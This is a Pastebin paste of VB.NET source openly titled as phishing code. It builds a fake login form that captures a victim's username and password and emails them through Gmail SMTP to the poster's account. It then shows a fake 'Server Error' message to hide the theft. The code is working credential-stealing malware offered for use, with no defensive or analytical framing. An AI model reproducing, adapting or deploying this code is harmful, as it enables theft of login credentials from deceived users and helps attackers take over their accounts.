Advertisement
AbdulMuttaqin

[VB.NET] Source Phising

Oct 22nd, 2017
420
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.04 KB | None | 0 0
  1. 'Set to function
  2. 'Join Group FORUM DISKUSI CYBER INDONESIA
  3. '
  4. Imports System.Net.Mail
  5. '
  6. 'Make 2 Textbox and 1 CommandButton
  7. ' Use the code to command buton
  8. If TextBox1.Text = "" Then
  9.             MsgBox("Username Is Missing")
  10.             If TextBox2.Text = "" Then
  11.                 MsgBox("Password Is Mising")
  12.             Else
  13.             End If
  14.         End If
  15.         Dim smtpServer As New SmtpClient()
  16.         Dim mail As New MailMessage()
  17.         smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
  18.         smtpServer.Port = 587
  19.         smtpServer.Host = "smtp.gmail.com"
  20.         smtpServer.EnableSsl = True
  21.         mail = New MailMessage()
  22.         mail.From = New MailAddress("Your Gmail")
  23.         mail.To.Add("Your Gmail")
  24.         mail.Subject = "Username: " & TextBox1.Text
  25.         mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
  26.         smtpServer.Send(mail)
  27.         MsgBox("Disconnected From Server, Please try again later!", MsgBoxStyle.Critical, "Server Error")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement